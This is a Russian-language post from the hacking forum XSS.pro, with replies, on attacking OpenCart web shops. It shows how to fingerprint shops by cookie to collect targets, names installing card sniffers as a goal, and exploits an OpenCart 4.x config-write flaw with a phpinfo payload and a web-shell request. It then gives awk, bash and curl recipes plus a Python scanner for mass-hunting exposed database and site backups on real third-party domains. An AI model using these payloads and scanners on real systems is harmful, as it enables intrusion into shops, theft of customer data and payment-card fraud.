• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Веб-хакинг мои попытки стать лучшим хакером в России #3

student

(L2) cache
Забанен
Регистрация
03.10.2023
Сообщения
480
Реакции
368
Гарант сделки
1
Пожалуйста, обратите внимание, что пользователь заблокирован
Автор student / мой_телеграмм_канал
Источник:
https://xss.pro

Всех приветствую после новогодних праздников. Это уже 3-я часть моего авторского блога. Недавно начал увлекаться CMS такими как WordPress и OpenCart. Так как это актуальная тема люди по сей день интересуются, что можно делать с OpenCart админкой и с чего вообще начать. Тут ребята очень многое обсудили https://xss.pro/threads/80413/ кто-то нашел 0day в плагине OpenCart и пошло обсуждение, я заметил, что люди часто ищут бэкапы OpenCart, но делают это не совсем полноценно.
1704468910055.png

Да, действительно с помощью COOKIE в OpenCart можно определить валюту и язык, но вот искать бэкап и парсить все, что с сообщение 200 это неправильно. В дальнейшем расскажу почему...

Что такое OpenCart
OpenCart — это платформа, предназначенная для создания собственного интернет-магазина. Платформа бесплатна и имеет открытый исходный код. С помощью OpenCart можно создать интернет-магазин любой сложности с помощью большого количества поддерживаемых сообществом дополнений. Именно поэтому эта CMS настолько популярна на тематических форумах.
Уязвимости в OpenCart
Хакеры часто охотятся на магазины куда люди вбивают карты, пускай они не хранятся в открытом виде и даже не хранятся в бд, но можно поставить собственный сниффер и забирать карты клиентов. OpenCart имеет немало версий, а значит есть CVE под некоторые из них. Где-то дырявая версия, а где-то плагин. В OpenCart часто встречаются SQLI и клиентские уязвимости по типу XSS. Можно погуглить вот эти CVE CVE-2023-47444, CVE-2023-2315, CVE-2020-20491, CVE-2018-11494, CVE-2018-13067, CVE-2016-10509 чтобы узнать больше информации, как эксплуатировать данные уязвимости и к чему они могут привести. Вот уязвимые версии, которые мне известны:
с 2.2.00 до 3.0.3.2, с 4.0.0.0 до 4.0.2.3
Как искать шопы на OpenCart
На самом деле это несложная задача. Ведь любой шоп на OpenCart имеет нестандартные COOKIE. Мы можем это выяснить с помощью утилиты WhatWeb. Допустим есть таргет https://www.slideegg.com если мы пощелкаем, то не найдем уникальный get параметр "route", который часто нам помогает понять, что имеем дело с OpenCart, также если мы перейдем https://www.slideegg.com/admin ничего связанного с OpenCart не будет. Вот пример того, что мы хотим видеть:
1704470787677.png

Значит по поиску директории /admin и заголовка искать не вариант, ведь мы можем пропустить шопы, которые еще никто не трогал. Значит можно найти шопы по COOKIE
1704470919404.png

Кто-то может накатать скрипт на python, кто-то на bash. Но я воспользуюсь известным инструментом A-Parser Pro v1.2.2062. Это очень удобный инструмент для человека, который занимается хакингом. Через него на самом деле можно сделать многое, почти все, что нужно в WEB. Есть уже много удобных встроенных функций, поэтому создать пресет для проверки на CMS OpenCart проблем не будет. Переходим в A-Parser и ищем встроенный парсер Rank::CMS
1704471168942.png

Если ознакомиться с документацией, то он поддерживает сотни CMS, но почему-то в последнее время он перестал поддерживать OpenCart. Но при этом он правильно определяет WordPress, Drupal и другие популярные CMS. Все, что нам нужно это отфильтровать вывод по куке.
1704471291762.png

Пресет для поиска сайтов на OpenCart будет в моем телеграмм канале.
1704471408596.png

Как видим он определил все верно. На будущее, если вы захотите сделать собственный пресет, но не знаете, где взять response. Воспользуйтесь вот этим фильтром:
JavaScript:
$p1.response.json
1704471610106.png

Думаю теперь понятно откуда взялось "set-cookie" в пресете. Благодаря такому способу я нашел таргеты, которых не было ни в одном из списков, которые кидали на форум. Если у вас возникнут вопросы по A-Parser или же вам надо будет что-то спарсить - можете смело обращаться ко мне https://xss.pro/threads/99965/
Кто-то даже на этом делает бизнес, продавая доменные зоны CMS.
1704471896825.png

Интересно можно ли на этом заработать в 2024🤔
Чутка погуглив я нашел шопы на OpenCart. Конечно, они старые, но все же.
- http://klassikaknigi.info/baza-sajtov-na-cms-opencart/
- http://klassikaknigi.info/baza-sajtov-na-cms-joomla/ (лишним не будет Joomla)
- http://klassikaknigi.info/baza-sajtov-na-cms-wordpress/ (лишним не будет WordPress)
Вот как хорошо уметь пользоваться гуглом:) Конечно, на xss.pro тоже сливали OpenCart шопы, можете сами поискать. Материала, что я нашел выше должно хватить надолго, если его почистить от мусора.
Ставим OpenCart на виртуалку
Прежде, чем свой нос совать в хакинг, надо понять, как это работает, если проект open source, то почему бы его не установить на виртуалку и потыкать там, та и понимание придет, уже будем работать не в слепую. Выберем дырявую версию по CVE о которых я сообщил ранее. Почитав информацию о свежих уязвимостях в OpenCart я нашел статью от пользователя 0xbro, который нашел уязвимость в версиях 4.0.0.0 по 4.0.2.3. Суть заключается в том, что если мы авторизованы, то можем записать в config.php произвольную информацию и исполнить код на сервере. Актуальные релизы OpenCart можно посмотреть тут, а также что изменилось в обновлении: https://github.com/opencart/opencart/releases
Скачаем версию 4.0.2.3 на kali linux. https://github.com/opencart/opencart/releases/download/4.0.2.3/opencart-4.0.2.3.zip
1704474148962.png

Bash:
sudo apt update && sudo apt upgrade -y
sudo systemctl start apache2
sudo systemctl enable apache2
sudo systemctl status apache2
sudo apt-get install php php-cli libapache2-mod-php php-common php-mbstring php-gd php-intl php-xml php-mysql php-zip php-curl php-xmlrpc
sudo apt install mariadb-server mariadb-client
sudo systemctl status mariadb
sudo mysql_secure_installation
- Set root password? [Y/n] Y
- Remove anonymous users? [Y/n] Y
- Disallow root login remotely? [Y/n] Y
- Remove test database and access to it? [Y/n] Y
- Reload privilege tables now? [Y/n] Y
Код:
mv opencart.zip /var/www/html
cd /var/www/html
unzip opencart.zip
1704474463971.png

Переименовываем config файлы
1704474512179.png

1704474543220.png

Выдаем права для www-data
Bash:
sudo chown -R www-data:www-data /var/www/html/opencart-4.0.2.3
Пользователь www-data является системным пользователем, используемым веб-сервером для обработки запросов и запуска веб-приложений. Он имеет ограниченные права доступа к файлам и каталогам на сервере. Главной целью этого пользователя является обеспечение безопасности и эффективности веб-сервера путем изоляции веб-сайтов друг от друга.
Создаем виртуальный хост для OpenCart
Bash:
sudo nano /etc/apache2/sites-available/opencart.conf
Вставляем
Bash:
<VirtualHost *:80>
    ServerAdmin admin@127.0.0.1
    DocumentRoot /var/www/html/opencart(укажи правильно название папки)/upload/
    ServerName 127.0.0.1
    ServerAlias www.127.0.0.1

    <Directory /var/www/html/opencart(укажи правильно название папки)/upload/>
        Options FollowSymLinks
        AllowOverride All
        Order allow,deny
        Allow from all
    </Directory>

    ErrorLog /var/log/apache2/127.0.0.1-error_log
    CustomLog /var/log/apache2/127.0.0.1-access_log common
</VirtualHost>
Bash:
sudo a2ensite opencart.conf
sudo systemctl restart apache2
Переходим по http://127.0.0.1/install/index.php
1704475018230.png

Начинаем простую настройку OpenCart.
Видим, что у нас не установлены некоторые библиотеки php, поэтому мы не можем продолжить. Установить можно так:
Bash:
sudo apt update
sudo apt install php-gd
sudo apt install php-zip
sudo apt install php-curl
Но если вы перезагрузите страничку, то ничего не поменяется. Знаете почему? Потому что надо перезагружать не страничку, а apache.
Bash:
sudo systemctl restart apache2
Можно продолжать
1704475892550.png

Теперь нам надо войти в mysql в kali linux. Но я до сих пор не могу найти дефолтный пароль. А если я ввожу sudo mysql -u root чтобы войти без пароля, то происходит вот такая ошибка:
ERROR 2002 (HY000): Can't connect to local server through socket '/run/mysqld/mysqld.sock' (2)
Чтобы ее пофиксить достаточно запустить службу:
Bash:
sudo systemctl start mysqld.service
Далее меняем пароль от root.
Bash:
sudo mysql_secure_installation
1704476435124.png

Проверяем, что все работает успешно. И заполняем данные дальше.
1704476504854.png

1704476567079.png

1704476581745.png

И тут нас просят изменить дефолтный путь админа... Вот почему мы в прошлый раз не нашли директорию админ. Вот видите, когда сами ставите легко можете ответить на свои вопросы.
Ломаем шоп
Дальше переходим в наш шоп и регистрируем юзера. И узнаем каталог с OpenCart
1704477423615.png

Дальше надо отправить вот такой запрос:
127.0.0.1/admin/index.php?route=common/security.storage&name=pwned');phpinfo();%23&path=<opencart_base_folder>&user_token=<user_token>
Я думал долго где взять user_token, оказалось в админке в get параметре пишется... Но блин в админке:(( Я думал без админских прав можно выполнить атаку.
1704481387458.png

Чуть позже я выяснил, что в OpenCart можно создать собственные группы с определенными правами.
1704482257874.png

System --> User Groups
1704482327290.png

Выбираем common/security и ставим галочки.
1704482383553.png

Создаем User`a и добавляем его в группу test. Подключаем (внизу галочку ставим status).
1704482423107.png

Теперь мы можем входить в админку без пароля.
1704482447788.png

route=common/security.storage&name=pwned');phpinfo();%23&path=<opencart_base_folder>&user_token=<user_token>
и
route=common/security.storage&name=pwned');phpinfo();%23&path=<opencart_base_folder>&user_token=<user_token>&page=99
Отправляем два запроса и сайт разрушен. Теперь мы видим только вывод phpinfo()
Раз php исполняется, то мы можем залить простенький shell, чтобы исполнять команды. Но я не буду этого делать. Если вам интересно, то можете посмотреть целый видеоролик, как это работает:
GET /opencart-latest/admin/index.php?route=common/security.storage&name=storage99');if+(isset($_GET["cmd94"])){system($_GET["cmd94"]);}%23&path=/var/www/../../../../var/www/html/opencart-latest/system/storage/&user_token=d802a58437c44a666e0c74b52e31d948 HTTP/1.1
На мой взгляд уязвимость шляпа... Навряд ли вы найдете юзера без пароля. Вот мнение админа OpenCart
1704484878218.png

Ругается, но по делу :D
Кстати, я по фану сделал бэкап сайта, чтобы посмотреть в каком виде это хранится и как хэшируются пароли юзеров. Выглядит все это дело вот так, походу bcrypt
1704485725519.png

Ищем бэкапы через A-Parser
Как я и говорил через A-Parser можно почти все. Попробуем просканировать линки с /admin.zip с 200 ответом, чтобы убедиться, что не все содержат бэкап, хотя и ответ 200.
1704540133414.png

Вот так выглядит пресет, который парсит содержимое<title> (пресет выложу в тг канал)
1704540268294.png

Искать просто admin.zip и backup.zip. Это слишком банально и можно упустить много бэкапов. Используя linux & в A-Parser комбинирование макросов подстановок можно достичь намного большего. Более подробно о макросах в A-Parser можно почитать тут: https://a-parser.com/docs/guides/task-settings/query-format#substitution-macroses
Нам понадобится отсюда {subs:NAME} Подстановка дополнительных слов из файлов в папке queries/subs/. Вместо NAME необходимо указать имя файла, без расширения .txt
Тут немного творческий процесс. Надо подумать как может называться бэкап и нагенерить список возможных бэкапов, также стоит учитывать какие расширения могут быть (sql,tar.gz,zip,rar и т.д). Допустим у нас есть список сайтов на OpenCart, чтобы все нормально работало нужно удалить www. Ставим галочку Replace all in Document и реплейсим.
1704540810895.png

Чтобы постоянно не вводить много команд создадим скрипт. Назовите его к примеру backupfinder.sh и выдайте права на исполнение chmod +x backupfinder.sh. Далее заполните скрипт содержимым:
Bash:
awk -F '.' '{print $0 "/" $1 ".sql"}' file.txt
awk -F '.' '{print $0 "/" $1}' file.txt
awk -F '.' '{print $0 "/" $1 ".rar"}' file.txt
awk -F '.' '{print $0 "/" $1 ".tar.gz"}' file.txt
awk -F '.' '{print $0 "/" $1 ".zip"}' file.txt
awk -F '.' '{print $0 "/" $1 ".old"}' file.txt
awk -F '.' '{print $0 "/" $1 ".bak"}' file.txt
awk -F '.' '{OFS="/"; gsub(/\./,"",$NF); print $0, $1$NF".sql"}' file.txt
awk -F '.' '{OFS="/"; gsub(/\./,"",$NF); print $0, $1$NF".rar"}' file.txt
awk -F '.' '{OFS="/"; gsub(/\./,"",$NF); print $0, $1$NF".tar.gz"}' file.txt
awk -F '.' '{OFS="/"; gsub(/\./,"",$NF); print $0, $1$NF".zip"}' file.txt
awk -F '.' '{OFS="/"; gsub(/\./,"",$NF); print $0, $1$NF}' file.txt
awk -F '.' '{OFS="/"; gsub(/\./,"",$NF); print $0, $1$NF".old"}' file.txt
awk -F '.' '{OFS="/"; gsub(/\./,"",$NF); print $0, $1$NF".bak"}' file.txt
Результат будет вот такой:
1704541373315.png

Эта идея мне пришла в голову, когда я нашел backup на этом сайте http://pokemmo.kr/pokemmo_backup.tar.gz
Мой товарищ vagabond подогнал мне таргеты OpenCart. Как раз сейчас их проверим в действии:) Если вам нужна бд OpenCart, то можете скачать тут: https://xss.pro/threads/105014/
И того получилось более 2 миллионов комбинаций
1704542724963.png

Теперь самое интересное, как использовать макросы в A-Parser. Вот некоторые примеры.
Переходим в директорию \aparser\queries\subs
И создаем файл с вордлистом.
1704547097983.png

Прописываем в Query format {subs:название нашего файла без расширения}
1704547253431.png

Так мы можем искать директории по вордлисту. Но что если мы хотим использовать шаблон:
Используем скрипт, который я дал выше для linux. А далее прописываем нечто подобное:
1704547701389.png

1704547722250.png

$query-{subs:backup}{subs:ext}
Но к сожалению нельзя использовать $query_{subs:backup}{subs:ext} будет ошибка. Можно либо через регулярку указать _ либо подправить awk
Bash:
awk -F '.' '{print $0 "/" $1"_"}' file.txt
Чуть позже, я понял, что A-Parser почему-то игнорирует линки с бэкапами. Как нам вообще с этих комбинаций понять, где действительно есть бэкап, а где пустышка. Ответ от сервера не катит, т.к может быть кастомная 404 страничка.
Чтобы проверить есть бэкап или нет достаточно извлекать из ответа сервера Content-Type. Если он не равен html/text, то бэкап есть. К примеру
Bash:
curl -I -s http://pokemmo.kr/pokemmo_backup.tar.gz | grep "Content-Type"
Есть бэкап:
1704550841826.png

Нет бэкапа:
1704550871612.png

Всё зависит от вашей фантазии. Можно по-разному создавать словари для поиска бэкапа. К примеру
То есть http://названиесайта.com/названиесайта_бэкапдата.расширение
Сгенерировать дату можно в linux. Она может быть в формате месяцгод, месяц_год, деньмесяцгод, год_месяц_день, год.месяц.день. Короче комбинаций можно нагенерировать много. Сделай можно вот так:
1704551346366.png

Bash:
#!/bin/bash

start_date="2000-01-01"
end_date="2023-12-31"

start_timestamp=$(date -d "$start_date" +%s)
end_timestamp=$(date -d "$end_date" +%s)

for ((timestamp = start_timestamp; timestamp <= end_timestamp; timestamp += 86400)); do
    date=$(date -d "@$timestamp" +'%d.%m.%Y')
    echo "$date"
done

Я поделился своими идеями, возможно они будут полезными для вас. Собираем донаты и я пишу массовый брут на OpenCart/Wordpress😁
 

Вложения

  • 1704543897485.png
    1704543897485.png
    75.6 КБ · Просмотры: 153
Пожалуйста, обратите внимание, что пользователь заблокирован
а кош бро? донаты куда слать?
зы - сори, давно не спал, мб упустил, пролистал 2 раза.
стараюсь поддержать тут тех кто делится хоть чем то первый.
мб еще и другие поделятся. если в коллективе такая атмосфера - в такой колектив хочется идти -
те кто трудится будут выбирать его чаще и мб всем по проще будет.
иногда и 50$ ой как важны - кому-то это решит прям, хотябы на время.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
а кош бро? донаты куда слать?
зы - сори, давно не спал, мб упустил, пролистал 2 раза.
стараюсь поддержать тут тех кто делится хоть чем то первый.
мб еще и другие поделятся. если в коллективе такая атмосфера - в такой колектив хочется идти -
те кто трудится будут выбирать его чаще и мб всем по проще будет.
иногда и 50$ ой как важны - кому-то это решит прям, хотябы на время.
eth 0x2D4Bc7aD9fbB4096cCe72aAd66c533ED0A3AE6e6
btc bc1qdxwprcu6scgugvq7ajllgqw7guz9pa5vcew99w
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
btc
60f3acd08dab61cfd7111f17af65028c6e1081c7b46f2810483ca4debd2a9971
приходи со статьями еще. спасибо за труд
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Приятно на самом деле лицезреть такую картину, что коммьюнити поощряет работяг, которые стараются и создают столь интересные и полезные статьи)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Спасибо большое ребята за поддержку. Также приятно слышать отзывы в личку от вас. Благодаря вам появилось желание довести дело до конца. Завтра внесу некоторые правки в статью🔥
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Так как нет статуса Premium. Не могу вносить изменения в статью. Поэтому напишу тут ребята...
Чтобы не было ошибки можно использовать ${query}_{subs:backup}{subs:ext}
и тогда будет искать бэкап по шаблон запрос_wordlist.расширение
Дальше, забыл рассказать как определять есть бэкап или нет. Если text/html в Content-Type, то логично что это не бэкап. Поэтому извлекаем содержимое Content-Type следующим Result format
Код:
$query:[% matches = response.${'content-type'};
    matches;
%]
1704664608672.png


Хотелось бы поблагодарить еще раз спонсоров ice80 и MAYC

Думаю выпущу продолжение;)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
c Рождеством. Успехов!

btc к рождеству на тот же кош слал
f657cf6a62415e2877de37164e3419677c25bfae27f136208dd1de7d4e9fc8df
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
c Рождеством. Успехов!

btc к рождеству на тот же кош слал
f657cf6a62415e2877de37164e3419677c25bfae27f136208dd1de7d4e9fc8df
бро, респект🥰
дай бог, если сдам сессию и в армейку не заберут, то напишу что-нибудь интересное для вас на тему веб-хакинга. В след. раз если будешь донить лучше на Premium повышение чтобы я статьи мог редактировать, а то комиссия пздц на битке, мне жалко твои средства😂
 
Пожалуйста, обратите внимание, что пользователь заблокирован
комиссия пздц на битке
это всегшо лишь деньги бро.
даже не думай, no problem: пиндосы печатают их нон-стопом
пусть еще напечатают и вышлют - тк нам нужнее, а я закину
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
дай бог, если сдам сессию
ты это, друзей и однокурсников тоже тяни - если они с головой дружат. Адекватным людям на хсс всегда рады, а тем кто еще и чем то деляться рады в двойне.
Если кто-то не может сам придумать тему для статьи - напишите в пм, у меня todo на 5к строк, 100% что-то интересное найдем.
ps - В данный момент несколько перегружен, могу по долгу не отвечать. Таргет потный.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Great article. I look forward to reading ur next articles. Merry Xmas to u and ur family :smile10: 🥰 🥳 :smile50:
 
Пожалуйста, обратите внимание, что пользователь заблокирован
1704710496217.png

Вот теперь все работает идеально. Была добавлена опция "Read only headers" чтобы впустую не выгружать контент, нам ведь нужны только заголовки. Также добавил p1, чтобы сохранялись заголовки на выводе. Вывод будет в формате запрос:content-type. \n перенос строки
Код:
$query:[% p1.response.${'content-type'} %]\n
 
Спасибо автору за свежие статьи и добавлю от себя "вариант чуть проще", как лично мне кажется)
Из-за вафа многое выдаёт false-positive (при скачивании архив весит 20-21 КБ), как с этим бороться еще не додумался. Все что выдаёт больше 2 результатов = скип UPD Также сортировку можно довольно легко автоматизировать
У вас должно быть более 1 сообщений для просмотра скрытого контента.

Python:
import aiohttp
import asyncio
import threading
import json
import io
import yarl
import tldextract

file_lock = threading.Lock()
semaphore = asyncio.BoundedSemaphore(value=20)  # Менять потоки

async def scan_directory(session, domain, directory, log):
    url = yarl.URL(f"https://{domain}/{directory}")
    try:
        async with session.get(url, timeout=10) as response:
            log_entry = f"{url} | {response.status} {response.reason}"
            print(log_entry)
            log.append(url)

            content_type = response.headers.get('Content-Type', '').lower()
            if response.status == 200 and not (
                content_type.startswith('text/html') or content_type == 'text/html; charset=utf-8'):
                with file_lock:
                    try:
                        with open("scan_results.json", "r") as json_file:
                            results = json.load(json_file)
                    except (json.JSONDecodeError, io.UnsupportedOperation):
                        results = {}

                    results.setdefault(domain, []).append(str(url))
                    with open("scan_results.json", "w") as json_file:
                        json.dump(results, json_file, indent=4, ensure_ascii=False)

    except aiohttp.ClientError as e:
        log_entry = f"{url} | {type(e).__name__}: {str(e)}"
        log.append(log_entry)

    except asyncio.TimeoutError:
        log_entry = f"{url} | Timeout Error"
        log.append(log_entry)

    with file_lock:
        with open("log.txt", "a") as log_file:
            log_file.write(log_entry + '\n')

async def scan_domain(session, domain, log):
    ext = tldextract.extract(domain)
    base_domain = ext.domain + '.' + ext.suffix

    directories = ["admin.zip", "admin.tar.gz", "admin.rar", "admin.bak", "admin.old", "admin.sql", "adminold.zip",
                   "admin.sql", "admin.sql.zip", "admin.sql.tar.gz", "adminold.sql", "admin.sql.bak", "admin.sql.zip",
                   "backup.zip", "backup.tar.gz", "backup.rar", "backup.bak", "backup.old", "backup.sql",
                   "backup.sql.zip", "backup.sql.tar.gz", "backup.sql.rar", "backup.sql.bak", "backup.sql.old",
                   "backupold.sql", "dump.zip", "dump.tar.gz", "dump.rar", "dump.bak", "dump.old", "dump.sql",
                   "dumpold.zip", "dump.sql.zip", "dump.sql.tar.gz", "dumpold.sql", "dump.sql.bak", "dump.sql.rar",
                   f"{base_domain}.rar", f"{base_domain}.tar.gz", f"{base_domain}.sql", f"{base_domain}.zip",
                   f"{base_domain}old.rar", f"{base_domain}old.zip", f"{base_domain}old.tar.gz", f"{base_domain}old.bak"]

    tasks = [scan_directory(session, domain, directory, log) for directory in directories]

    async with semaphore:
        await asyncio.gather(*tasks)

    try:
        if log:
            print(f"{domain}")

    except Exception as e:
        print(f"Error while saving results: {type(e).__name__}: {str(e)}")

def run_asyncio_loop(main_coroutine, *args):
    loop = asyncio.new_event_loop()
    asyncio.set_event_loop(loop)

    try:
        loop.run_until_complete(main_coroutine(*args))
    finally:
        loop.close()

def main(domain_list):
    async def run_main(domains):
        async with aiohttp.ClientSession() as session:
            for domain in domains:
                await scan_domain(session, domain, [])

    run_asyncio_loop(run_main, domain_list)

if __name__ == "__main__":
    domain_file_path = "Ваш_файл.txt"

    with open(domain_file_path, "r") as domain_file:
        domains = [line.strip() for line in domain_file.readlines()]

    try:
        main(domains)
    except Exception as e:
        print(f"An error occurred: {type(e).__name__}: {str(e)}")
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх